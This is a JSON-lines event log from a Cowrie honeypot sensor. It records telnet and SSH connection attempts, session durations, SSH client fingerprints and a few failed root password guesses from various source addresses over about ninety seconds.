{"eventid":"cowrie.session.closed","duration":35.50450038909912,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:42:56.661190Z","src_ip":"65.60.27.33","session":"f468ee4a94e2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:42:57.099849Z","src_ip":"94.156.152.18","session":"cffe6518de47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.68228054046631,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:42:57.686332Z","src_ip":"165.232.131.181","session":"438f1f3d4482","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":59176,"dst_ip":"10.17.0.5","dst_port":23,"session":"546400d77e53","protocol":"telnet","message":"New connection: 165.232.131.181:59176 (10.17.0.5:23) [session: 546400d77e53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:43:02.450598Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"valide","message":"login attempt [root/valide] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:43:03.717891Z","src_ip":"213.209.159.158","session":"caae0bf5df1a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":39796,"dst_ip":"10.17.0.5","dst_port":23,"session":"7f9b29c831f3","protocol":"telnet","message":"New connection: 65.60.27.33:39796 (10.17.0.5:23) [session: 7f9b29c831f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:43:03.956301Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":53452,"dst_ip":"10.17.0.5","dst_port":23,"session":"f5aa8dcd40a1","protocol":"telnet","message":"New connection: 62.210.97.77:53452 (10.17.0.5:23) [session: f5aa8dcd40a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:43:04.065827Z"}
{"eventid":"cowrie.session.closed","duration":"15.3","message":"Connection lost after 15.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:43:06.950222Z","src_ip":"213.209.159.158","session":"caae0bf5df1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.28680229187012,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:43:08.098407Z","src_ip":"165.232.131.181","session":"bdcce682e912","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":49310,"dst_ip":"10.17.0.5","dst_port":23,"session":"7299f7498e01","protocol":"telnet","message":"New connection: 38.54.119.93:49310 (10.17.0.5:23) [session: 7299f7498e01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:43:08.927361Z"}
{"eventid":"cowrie.session.closed","duration":35.5246422290802,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:43:11.385273Z","src_ip":"62.210.97.77","session":"f4707beac12e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.53329277038574,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:43:11.697181Z","src_ip":"62.210.97.77","session":"874411b64257","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.254729986190796,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:43:12.415474Z","src_ip":"62.210.97.77","session":"e10de92f8fcf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.6563093662261963,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:43:12.583581Z","src_ip":"38.54.119.93","session":"7299f7498e01","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.5350501537323,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:43:12.875090Z","src_ip":"62.210.97.77","session":"fffce70eda5c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.73708987236023,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:43:14.123125Z","src_ip":"65.60.27.33","session":"161f0df4792b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":35296,"dst_ip":"10.17.0.5","dst_port":23,"session":"67dc414f6924","protocol":"telnet","message":"New connection: 165.232.131.181:35296 (10.17.0.5:23) [session: 67dc414f6924]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:43:15.154099Z"}
{"eventid":"cowrie.session.closed","duration":37.79732704162598,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:43:16.755829Z","src_ip":"62.210.97.77","session":"2066865e8f13","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.933929443359375,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:43:17.581628Z","src_ip":"62.210.97.77","session":"ce93fa5452d0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.218.69.66","src_port":52149,"dst_ip":"159.203.135.109","dst_port":22,"session":"da258a04ccf4","protocol":"ssh","message":"New connection: 89.218.69.66:52149 (159.203.135.109:22) [session: da258a04ccf4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:43:19.575251Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:43:19.579761Z","src_ip":"89.218.69.66","session":"da258a04ccf4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:43:19.757953Z","src_ip":"89.218.69.66","session":"da258a04ccf4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asmadmin","message":"login attempt [root/asmadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:43:20.471330Z","src_ip":"89.218.69.66","session":"da258a04ccf4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:43:21.644659Z","src_ip":"89.218.69.66","session":"da258a04ccf4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.128552675247192,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:43:22.322254Z","src_ip":"62.210.97.77","session":"3fa8168a9cac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":36408,"dst_ip":"10.17.0.5","dst_port":23,"session":"01c6a8a5b9aa","protocol":"telnet","message":"New connection: 165.232.131.181:36408 (10.17.0.5:23) [session: 01c6a8a5b9aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:43:24.258667Z"}
{"eventid":"cowrie.session.closed","duration":0.0054073333740234375,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:43:24.263963Z","src_ip":"165.232.131.181","session":"01c6a8a5b9aa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":49180,"dst_ip":"10.17.0.5","dst_port":23,"session":"014dd3d7c5ed","protocol":"telnet","message":"New connection: 62.210.97.77:49180 (10.17.0.5:23) [session: 014dd3d7c5ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:43:24.515563Z"}
{"eventid":"cowrie.session.closed","duration":31.266000986099243,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:43:27.701139Z","src_ip":"62.210.97.77","session":"796dd7d40efb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":36740,"dst_ip":"10.17.0.5","dst_port":23,"session":"24f8df82093c","protocol":"telnet","message":"New connection: 165.232.131.181:36740 (10.17.0.5:23) [session: 24f8df82093c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:43:27.868428Z"}
{"eventid":"cowrie.session.closed","duration":34.03608322143555,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:43:28.048636Z","src_ip":"62.210.97.77","session":"2badffa77fa2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.01011395454407,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:43:30.100106Z","src_ip":"165.232.131.181","session":"76a54969ca80","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":40404,"dst_ip":"10.17.0.5","dst_port":23,"session":"02fbf7edc26b","protocol":"telnet","message":"New connection: 165.232.131.181:40404 (10.17.0.5:23) [session: 02fbf7edc26b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:43:30.317909Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":36148,"dst_ip":"10.17.0.5","dst_port":23,"session":"be6d85a6fa6e","protocol":"telnet","message":"New connection: 38.54.119.93:36148 (10.17.0.5:23) [session: be6d85a6fa6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:43:30.539490Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":57230,"dst_ip":"10.17.0.5","dst_port":23,"session":"458aa523a76d","protocol":"telnet","message":"New connection: 165.232.131.181:57230 (10.17.0.5:23) [session: 458aa523a76d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:43:31.203784Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":40278,"dst_ip":"10.17.0.5","dst_port":23,"session":"538614a61740","protocol":"telnet","message":"New connection: 165.232.131.181:40278 (10.17.0.5:23) [session: 538614a61740]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:43:32.004848Z"}
{"eventid":"cowrie.session.closed","duration":1.1175487041473389,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:43:32.321194Z","src_ip":"165.232.131.181","session":"458aa523a76d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.14358377456665,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:43:32.442125Z","src_ip":"65.60.27.33","session":"59191a90f846","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":41932,"dst_ip":"10.17.0.5","dst_port":23,"session":"351bdf7b6c2c","protocol":"telnet","message":"New connection: 165.232.131.181:41932 (10.17.0.5:23) [session: 351bdf7b6c2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:43:35.812887Z"}
{"eventid":"cowrie.session.closed","duration":5.959288597106934,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:43:36.498664Z","src_ip":"38.54.119.93","session":"be6d85a6fa6e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.37004828453064,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:43:37.435635Z","src_ip":"62.210.97.77","session":"f5aa8dcd40a1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":50070,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e2d1320b425","protocol":"telnet","message":"New connection: 65.60.27.33:50070 (10.17.0.5:23) [session: 8e2d1320b425]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:43:38.317080Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":47372,"dst_ip":"10.17.0.5","dst_port":23,"session":"451a32a22219","protocol":"telnet","message":"New connection: 62.210.97.77:47372 (10.17.0.5:23) [session: 451a32a22219]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:43:40.878444Z"}
{"eventid":"cowrie.session.closed","duration":38.154507637023926,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:43:42.110632Z","src_ip":"65.60.27.33","session":"7f9b29c831f3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.05816650390625,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:43:44.508674Z","src_ip":"165.232.131.181","session":"546400d77e53","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":47374,"dst_ip":"10.17.0.5","dst_port":23,"session":"3feb5246cc5e","protocol":"telnet","message":"New connection: 62.210.97.77:47374 (10.17.0.5:23) [session: 3feb5246cc5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:43:45.251738Z"}
{"eventid":"cowrie.session.closed","duration":33.60476565361023,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:43:48.758735Z","src_ip":"165.232.131.181","session":"67dc414f6924","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":56270,"dst_ip":"10.17.0.5","dst_port":23,"session":"63d4f4cac779","protocol":"telnet","message":"New connection: 62.210.97.77:56270 (10.17.0.5:23) [session: 63d4f4cac779]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:43:49.190125Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":51194,"dst_ip":"10.17.0.5","dst_port":23,"session":"146256d1811d","protocol":"telnet","message":"New connection: 38.54.119.93:51194 (10.17.0.5:23) [session: 146256d1811d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:43:52.093868Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":56276,"dst_ip":"10.17.0.5","dst_port":23,"session":"5dd5e1df3098","protocol":"telnet","message":"New connection: 62.210.97.77:56276 (10.17.0.5:23) [session: 5dd5e1df3098]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:43:52.371511Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":51924,"dst_ip":"10.17.0.5","dst_port":23,"session":"961bd1ed5a64","protocol":"telnet","message":"New connection: 38.54.119.93:51924 (10.17.0.5:23) [session: 961bd1ed5a64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:43:53.280791Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":56280,"dst_ip":"10.17.0.5","dst_port":23,"session":"47f7fb3aea31","protocol":"telnet","message":"New connection: 62.210.97.77:56280 (10.17.0.5:23) [session: 47f7fb3aea31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:43:56.053052Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":56288,"dst_ip":"10.17.0.5","dst_port":23,"session":"63c9bb863579","protocol":"telnet","message":"New connection: 62.210.97.77:56288 (10.17.0.5:23) [session: 63c9bb863579]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:43:57.800585Z"}
{"eventid":"cowrie.session.closed","duration":5.7452216148376465,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:43:59.025912Z","src_ip":"38.54.119.93","session":"961bd1ed5a64","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":43696,"dst_ip":"10.17.0.5","dst_port":23,"session":"d26befaef984","protocol":"telnet","message":"New connection: 62.210.97.77:43696 (10.17.0.5:23) [session: d26befaef984]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:44:00.628598Z"}
{"eventid":"cowrie.session.closed","duration":37.43609118461609,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:44:01.951533Z","src_ip":"62.210.97.77","session":"014dd3d7c5ed","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":48986,"dst_ip":"10.17.0.5","dst_port":23,"session":"f7c383306aea","protocol":"telnet","message":"New connection: 165.232.131.181:48986 (10.17.0.5:23) [session: f7c383306aea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:44:02.696654Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":53326,"dst_ip":"10.17.0.5","dst_port":23,"session":"dda47540b04e","protocol":"telnet","message":"New connection: 165.232.131.181:53326 (10.17.0.5:23) [session: dda47540b04e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:44:05.899763Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":43710,"dst_ip":"10.17.0.5","dst_port":23,"session":"00634be6c3bf","protocol":"telnet","message":"New connection: 62.210.97.77:43710 (10.17.0.5:23) [session: 00634be6c3bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:44:06.386135Z"}
{"eventid":"cowrie.session.closed","duration":37.69633364677429,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:44:08.014019Z","src_ip":"165.232.131.181","session":"02fbf7edc26b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":47678,"dst_ip":"10.17.0.5","dst_port":23,"session":"41535dc43401","protocol":"telnet","message":"New connection: 62.210.97.77:47678 (10.17.0.5:23) [session: 41535dc43401]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:44:09.558732Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":56122,"dst_ip":"10.17.0.5","dst_port":23,"session":"592cee3a11bb","protocol":"telnet","message":"New connection: 165.232.131.181:56122 (10.17.0.5:23) [session: 592cee3a11bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:44:13.447993Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":38218,"dst_ip":"10.17.0.5","dst_port":23,"session":"aac6acb81356","protocol":"telnet","message":"New connection: 38.54.119.93:38218 (10.17.0.5:23) [session: aac6acb81356]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:44:13.595568Z"}
{"eventid":"cowrie.session.closed","duration":34.135093212127686,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:44:15.013399Z","src_ip":"62.210.97.77","session":"451a32a22219","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.40413761138916,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:44:15.408858Z","src_ip":"165.232.131.181","session":"538614a61740","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.218.69.66","src_port":65414,"dst_ip":"159.203.135.109","dst_port":22,"session":"2a1597b19840","protocol":"ssh","message":"New connection: 89.218.69.66:65414 (159.203.135.109:22) [session: 2a1597b19840]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:44:15.423744Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:44:15.429884Z","src_ip":"89.218.69.66","session":"2a1597b19840","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:44:15.605021Z","src_ip":"89.218.69.66","session":"2a1597b19840","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vps123","message":"login attempt [root/vps123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:44:16.332603Z","src_ip":"89.218.69.66","session":"2a1597b19840","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:44:17.508998Z","src_ip":"89.218.69.66","session":"2a1597b19840","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.90730381011963,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:44:18.224251Z","src_ip":"65.60.27.33","session":"8e2d1320b425","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":55040,"dst_ip":"10.17.0.5","dst_port":23,"session":"b34abe660b22","protocol":"telnet","message":"New connection: 165.232.131.181:55040 (10.17.0.5:23) [session: b34abe660b22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:44:18.443385Z"}
{"eventid":"cowrie.session.closed","duration":33.90424370765686,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:44:19.155869Z","src_ip":"62.210.97.77","session":"3feb5246cc5e","protocol":"telnet"}
